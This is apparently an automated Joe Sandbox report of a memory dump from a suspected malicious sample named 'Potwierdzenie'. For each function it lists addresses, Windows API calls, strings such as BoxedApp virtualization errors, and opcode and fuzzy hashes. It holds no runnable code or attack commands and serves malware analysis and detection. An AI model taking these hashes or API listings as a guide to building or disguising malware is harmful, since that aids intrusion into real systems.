Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Token$DescriptorInformationMakeProcessRelativeSecuritySelf$CurrentGroupOpenOwner
String ID:
API String ID: 2784369076-0
Opcode ID: 0302008a68d8832aa14ea8440a4bf5e918b219add3361be5b13b4c3218ea00f7
Instruction ID: f4c4132ee4dbe3c43ef10d5e55dec797b339b555d9032c1bac00a7cacd1c6599
Opcode Fuzzy Hash: 0302008a68d8832aa14ea8440a4bf5e918b219add3361be5b13b4c3218ea00f7
Instruction Fuzzy Hash: 6B41E272D51219EFEF10AFA49C44BAFBBBDAF55604F080079E806E7201E632DF0597A1

Function 0BCAADB0 Relevance: 12.2, APIs: 8, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: a63262473acfb525a196cd21d90cc4d04864f5b46c8a4b577ed21a43e6c2786b
Instruction ID: 53ee2e72d3d999eaba155132dc4db4d51439ddc2c3b2ba7511aba0c36225f235
Opcode Fuzzy Hash: a63262473acfb525a196cd21d90cc4d04864f5b46c8a4b577ed21a43e6c2786b
Instruction Fuzzy Hash: 22516071A2121AAFDF15DFA4C884EAEB7B9FF48348B044068F905E7210DB31EE11DB90

Function 0BCA83E0 Relevance: 12.1, APIs: 8, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e7c8c1fe852f7db43bd3c0c892f9fc5c41215cfe657f47b176023540a759162
Instruction ID: d21b5c2a2d50075465d4eafac1edaf56f5c62968ed7707a75c17fb32915101c6
Opcode Fuzzy Hash: 1e7c8c1fe852f7db43bd3c0c892f9fc5c41215cfe657f47b176023540a759162
Instruction Fuzzy Hash: 68316F75E21226AFCF21EFA8C851AAF7BB9FF84754B040559E905A7300DB30EE01DB90

Function 0BCA4890 Relevance: 12.1, APIs: 8, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb399221d7535019d416271dc7f8997ab0dad23fcf549271a09a867bc1cb8058
Instruction ID: d1222148722828fa365b5487585c98954bac18cf19bfddd352efa5a0a3722283
Opcode Fuzzy Hash: bb399221d7535019d416271dc7f8997ab0dad23fcf549271a09a867bc1cb8058
Instruction Fuzzy Hash: 1C317071921356AEDB14AFA6CCC1BBFB7BCFF84A18F044029E919E7240DBB4950497B1

Function 0BC0AAA0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 241libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00000018,?), ref: 0BC0AABA
GetProcAddress.KERNEL32(?,GetOpenFileNameA), ref: 0BC0AB20
GetProcAddress.KERNEL32(?,GetOpenFileNameW), ref: 0BC0AB2B

Strings

GetOpenFileNameA, xrefs: 0BC0AB1A
GetOpenFileNameW, xrefs: 0BC0AB22
comdlg32.dll, xrefs: 0BC0AAE2

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: GetOpenFileNameA$GetOpenFileNameW$comdlg32.dll
API String ID: 2190909847-912107592
Opcode ID: 7a29176dfaa2b6b32710a0430e622921046db2d9b80601ca04ba828ca65e610d
Instruction ID: 06888cf5e7759df10a3192fa9d02263280e064d7742449bb0dfdf0f79f7c3f32
Opcode Fuzzy Hash: 7a29176dfaa2b6b32710a0430e622921046db2d9b80601ca04ba828ca65e610d
Instruction Fuzzy Hash: 49915574A213149FCB10DFA8C488AAEB7F5EF48710F158459F856AB390DB71AA41CFA0

Function 0BC0C560 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 154libraryloaderCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0BC0C570

Part of subcall function 0BC0A050: ReleaseSemaphore.KERNEL32(?,00000001,00000000,?), ref: 0BC0A0BA

GetModuleHandleW.KERNEL32(?,?,00000000,00000558), ref: 0BC0C5FF
GetProcAddress.KERNEL32(00000000,DllCanUnloadNow), ref: 0BC0C612
FreeLibrary.KERNEL32(?), ref: 0BC0C625
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000558), ref: 0BC0C6E6

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Strings

DllCanUnloadNow, xrefs: 0BC0C60C

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore$Free$AddressCountHandleHeapLibraryModuleProcTick
String ID: DllCanUnloadNow
API String ID: 1598296693-2998556761
Opcode ID: 34cf567ef28aa21c4c6de82cbbc00c98a4474faa616baa96b0229a84c8ebe2be
Instruction ID: 139ac735c61a504260375145a6ba47c9a2319694671118710d83f56ab8d0889d
Opcode Fuzzy Hash: 34cf567ef28aa21c4c6de82cbbc00c98a4474faa616baa96b0229a84c8ebe2be
Instruction Fuzzy Hash: 0A517371A216099FDB24DFA4C844BAFBBB8FF44314F1006A9D416E7290DF35EA05DB90

Function 0BC72DC0 Relevance: 10.6, APIs: 7, Instructions: 95libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?), ref: 0BC72E37
LoadLibraryW.KERNEL32(00000000,?,?,?,?,?,?), ref: 0BC72E6D
FreeLibrary.KERNEL32(?), ref: 0BC72E95

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Library$Load$Free
String ID:
API String ID: 2872008576-0
Opcode ID: 7947178451e8a73f1cd0eebdba71b63f4d852b423b84aad6d02524c1350f22f2
Instruction ID: 921ecb70382c577bb718606be9d1f80acb9919dff2e583536e324d9379879952
Opcode Fuzzy Hash: 7947178451e8a73f1cd0eebdba71b63f4d852b423b84aad6d02524c1350f22f2
Instruction Fuzzy Hash: 2421E4B2710214DFCB01AFA4E890F6EF7AAEF95761B054066F705AB260CB319D10DB90

Function 0BCA6B50 Relevance: 10.6, APIs: 7, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4090df1a137bfb43540f119eba5bb1e90ded7f826cbee7de10de7ab84491967
Instruction ID: 7f6cc43f1f726a840cbe25e3eae110d1701881c7cf05b947d55a9b3c820ded53
Opcode Fuzzy Hash: a4090df1a137bfb43540f119eba5bb1e90ded7f826cbee7de10de7ab84491967
Instruction Fuzzy Hash: 1E2188369221216F8F226F91D8809BB7639EEC5BB870E0174ED596B250D730AE01A5D0

Function 0BC74410 Relevance: 10.2, APIs: 8, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000), ref: 0BC744D8
HeapFree.KERNEL32(00000000), ref: 0BC744DF
GetProcessHeap.KERNEL32(00000000,00004000), ref: 0BC74554
HeapAlloc.KERNEL32(00000000), ref: 0BC7455B
GetProcessHeap.KERNEL32(00000000), ref: 0BC74599
HeapFree.KERNEL32(00000000), ref: 0BC745A0

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

GetProcessHeap.KERNEL32(00000000,00000000), ref: 0BC745CC
HeapFree.KERNEL32(00000000), ref: 0BC745D3

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Heap$FreeProcess$AllocReleaseSemaphore
String ID:
API String ID: 1786376185-0
Opcode ID: e04ad32db8414a73d7b7ee47817ca1fd9387b8577af30837cb10f4650480267e
Instruction ID: a0988a034c2e019118813930e869762f853fd25060a014a6d2c54ee21d93a7cb
Opcode Fuzzy Hash: e04ad32db8414a73d7b7ee47817ca1fd9387b8577af30837cb10f4650480267e
Instruction Fuzzy Hash: 6D61C175A902059FDB18EFA8D841B6EB7F6FF84301F14406ADA05AB350DB31AA41DB90

Function 0BC16A50 Relevance: 9.4, APIs: 6, Instructions: 359COMMON

Download Yara Rule

APIs

Part of subcall function 0BBFE1A0: GetCurrentThreadId.KERNEL32 ref: 0BBFE1AD

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,?,?,?), ref: 0BC16B31
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,?,?,?), ref: 0BC16BE5
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,?,?,?), ref: 0BC16D0E
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,?,?,?), ref: 0BC16E57
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?), ref: 0BC16EA4

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore$CurrentThread
String ID:
API String ID: 2711043956-0
Opcode ID: 71b8202fb72ddbc7d9fa2b1bd42a487628fda5247c177ffc8c0dc27b0dcbfc46
Instruction ID: edabeb585dc6ccfd4944eff95f6ab1ec99d3f92b54fb07034cc84910ac615c1e
Opcode Fuzzy Hash: 71b8202fb72ddbc7d9fa2b1bd42a487628fda5247c177ffc8c0dc27b0dcbfc46
Instruction Fuzzy Hash: 1D0202B4A11215CFCB14CF59C580B9ABBF1FF09324F114AA9D459AB792C771EA82DF80

Function 0BC165F0 Relevance: 9.4, APIs: 6, Instructions: 359COMMON

Download Yara Rule

APIs

Part of subcall function 0BBFE1A0: GetCurrentThreadId.KERNEL32 ref: 0BBFE1AD

ReleaseSemaphore.KERNEL32(00000001,00000001,00000000,?,?,?,00000000), ref: 0BC166D1
ReleaseSemaphore.KERNEL32(00000001,00000001,00000000,?,?,?,00000000), ref: 0BC16785
ReleaseSemaphore.KERNEL32(00000001,00000001,00000000,?,?,?,00000000), ref: 0BC168AE
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000,?,?,?,00000000), ref: 0BC169F7
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000,00000000), ref: 0BC16A44

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore$CurrentThread
String ID:
API String ID: 2711043956-0
Opcode ID: a65cd7350cd495e68c7cca4c3332b29d4259a31227b4c6757944754116e5e85d
Instruction ID: c0bb228171ae8351c18e2255571b3612f75bfa6301b069c7de1fd3d809d36f3d
Opcode Fuzzy Hash: a65cd7350cd495e68c7cca4c3332b29d4259a31227b4c6757944754116e5e85d
Instruction Fuzzy Hash: 880211B4911205CFDB28CF58C580B5ABBB0FF09314F214AA9D455AB792C771EA86DFE0

Function 0BC78090 Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 305stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 0BC7809F

Part of subcall function 0BBFE310: wsprintfA.USER32 ref: 0BBFE33D
Part of subcall function 0BBFE310: memcpy.NTDLL(00000000,00000000,00000001,00000000,00000100), ref: 0BBFE390

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

Part of subcall function 0BBFF510: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,?,0BBF2FC0,00000000,layer/sandbox,BoxedApp::ApiLayer::CAutoForceWriteCopyMode::Init,: TlsAlloc() failed, GetLastError() = ,00000000,0BCCD818), ref: 0BBFF558

Part of subcall function 0BC729E0: memcpy.NTDLL(00000000,0BCCD818,00000000,0000000A,00000000,00000000,?,00000000,0BCCD818), ref: 0BC72A20
Part of subcall function 0BC729E0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0BC72A58

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Strings

core, xrefs: 0BC780EC, 0BC78198, 0BC782FA, 0BC783A7
BoxedApp::Registry::ReadonlyRegistry::CTree::MarshalInterface, xrefs: 0BC780E7, 0BC78193, 0BC782F5, 0BC783A2
: error: IStream::Write() failed, hr = , xrefs: 0BC780E2, 0BC7818E, 0BC782A9, 0BC7839D
: error: failed to query IMarshal from VariablesValueProvider, hr = , xrefs: 0BC7823F
: error: IMarshal::MarshalInterface() of VariablesValueProvider failed, hr = , xrefs: 0BC782F0

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$wsprintf$FileFreeHeapLocalReleaseSemaphoreTimeWritelstrlen
String ID: : error: IMarshal::MarshalInterface() of VariablesValueProvider failed, hr = $: error: IStream::Write() failed, hr = $: error: failed to query IMarshal from VariablesValueProvider, hr = $BoxedApp::Registry::ReadonlyRegistry::CTree::MarshalInterface$core
API String ID: 1924767889-2442970054
Opcode ID: bfc97dc2954498e35df7ec023c40c398bef26efa6f38b116fde0f5bdef47a811
Instruction ID: e735f1081440f7f3cec96ba7667d7ee5a53fe81458504c231a5c3c1d8ecb5778
Opcode Fuzzy Hash: bfc97dc2954498e35df7ec023c40c398bef26efa6f38b116fde0f5bdef47a811
Instruction Fuzzy Hash: 4CA18431791206AFDB04EFA4C89AEBE77B9EF54601B104479EA16D7250EE31EE04D7B0

Function 0BC487C0 Relevance: 9.3, APIs: 6, Instructions: 272threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0BC381E0: ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,?,?,?,?,0BC4B20A,?,00000000,?,?,?), ref: 0BC3824D

ResetEvent.KERNEL32(?), ref: 0BC48864
ResetEvent.KERNEL32(?), ref: 0BC4886E
IsBadReadPtr.KERNEL32(?,?), ref: 0BC48880
SetEvent.KERNEL32(?), ref: 0BC48A0B
SetEvent.KERNEL32(?), ref: 0BC48A15
GetCurrentThread.KERNEL32 ref: 0BC48A35

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Event$Reset$CurrentReadReleaseSemaphoreThread
String ID:
API String ID: 3480677396-0
Opcode ID: 03eab0f8f9b16c7d5ef3ca08ff866f788fa7f79b0893e66c702dab4d5b12828a
Instruction ID: 18fe9011b2685bf3ee72ba9771edcf99782276d97f3b676f93b108f414158830
Opcode Fuzzy Hash: 03eab0f8f9b16c7d5ef3ca08ff866f788fa7f79b0893e66c702dab4d5b12828a
Instruction Fuzzy Hash: B8A17935A20209AFCF14CF95C888FAEBBB9FF58710F184159F915AB250D771EA40CB61

Function 0BC2A000 Relevance: 9.1, APIs: 6, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d478cb2a47efd6699ef9b09206c7761092360b248c5a12112e0ffda04a17b693
Instruction ID: ed30e172be2ebf20346b6f0269288a6c361823bae16ac140f39126b408db043c
Opcode Fuzzy Hash: d478cb2a47efd6699ef9b09206c7761092360b248c5a12112e0ffda04a17b693
Instruction Fuzzy Hash: B6517EB4921715DFDB24DF15C841B6BB7F8BF08714F004A6CE98A96690EB34EA44CB90

Function 0BCAAF50 Relevance: 9.1, APIs: 6, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a22506191bc37035e614cabb25d481ec39206fc3c69b159ba00370740f383c3
Instruction ID: c4f6b818d30fa2de66f77b9652f522964401fe663ec6bc08afc77c0cdb180fd7
Opcode Fuzzy Hash: 8a22506191bc37035e614cabb25d481ec39206fc3c69b159ba00370740f383c3
Instruction Fuzzy Hash: 3751D3B5A112069FCB28DF95C980E6BB7BAFF88314F15055CE912A7350DB31EE00DB60

Function 0BCB40D0 Relevance: 9.1, APIs: 6, Instructions: 143memoryCOMMON

Download Yara Rule

APIs

CoTaskMemAlloc.OLE32(?), ref: 0BCB41CE

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: AllocTask
String ID:
API String ID: 277515162-0
